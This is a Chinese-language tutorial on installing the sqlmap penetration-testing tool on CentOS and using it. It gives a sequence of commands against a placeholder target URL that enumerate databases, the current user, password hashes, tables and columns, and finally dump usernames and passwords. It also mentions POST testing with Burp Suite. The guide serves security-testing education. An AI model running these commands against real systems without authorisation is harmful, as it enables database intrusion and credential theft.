渗透测试是一种利用模拟黑客攻击的方式来评估计算机网络系统安全性能的方法。
渗透测试工具很多,其中sqlmap 是一个开源的渗透测试工具,可以用来进行自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
本文介绍CentOS下(sqlmap可以运行在 Python 2.6.x 和 2.7.x 版本的任何平台上)sqlmap工具的安装和简单使用。
一、sqlmap安装
安装python: yum install python
访问http://sqlmap.org/ 下载sqlmap,github地址为 https://github.com/sqlmapproject/sqlmap/, 解压缩即可使用
# wget https://github.com/sqlmapproject/sqlmap/zipball/master -O sqlmap.zip
# unzip sqlmap.zip
# cd sqlmapproject-sqlmap-49586ad/
二、sqlmap使用
1、尝试获取数据库实例列表 --dbs
python sqlmap.py -u "https://oa.test.com/form/detail.html?id=393a&key=0e41bd2e" --dbs
sqlmap会利用上面url中的参数id和key尝试注入不同的sql脚本进行sql注入的攻击,如果攻击成功会列出所有的数据库列表
2、尝试获取当前数据库的用户名 --current-user
python sqlmap.py -u "https://oa.test.com/form/detail.html?id=393a&key=0e41bd2e" --current-user
3、尝试获取当前数据库的密码 --passwords
python sqlmap.py -u "https://oa.test.com/form/detail.html?id=393a&key=0e41bd2e" --passwords
4、尝试获取数据库的表 --tables
python sqlmap.py -u "https://oa.test.com/form/detail.html?id=393a&key=0e41bd2e" -D test_oa --tables
如果通过--dbs参数获取到了数据库实例为test_oa,再执行上面的带有--tables的命令,如果攻击成功将列出库中所有的表
5、尝试获取数据库表的所有列 --columns
python sqlmap.py -u "https://oa.test.com/form/detail.html?id=393a&key=0e41bd2e" -D test_oa -T oa_user --columns
如果上一步通过--tables参数获取到了有一个oa_user表,那么使用--columns参数,如果攻击成功将列出oa_user表中的所有列
6、尝试获取表的数据
python sqlmap.py -u "https://oa.test.com/form/detail.html?id=393a&key=0e41bd2e" -D test_oa -T oa_user -C "user_name,password" --start 1 --stop 10 --dump
如果上一步通过--columns参数获取到了有user_name和password列,那么通过指定-C参数,如果攻击成功将列出部分或全部数据
上面列出的都是get请求,如果需要执行post带参数的请求可以加上 -data 参数,即可。
还可以结合burpsuite辅助sqlmap做post测试,burpsuite抓包保存到文件中,sqlmap使用-r file通过文件传递请求参数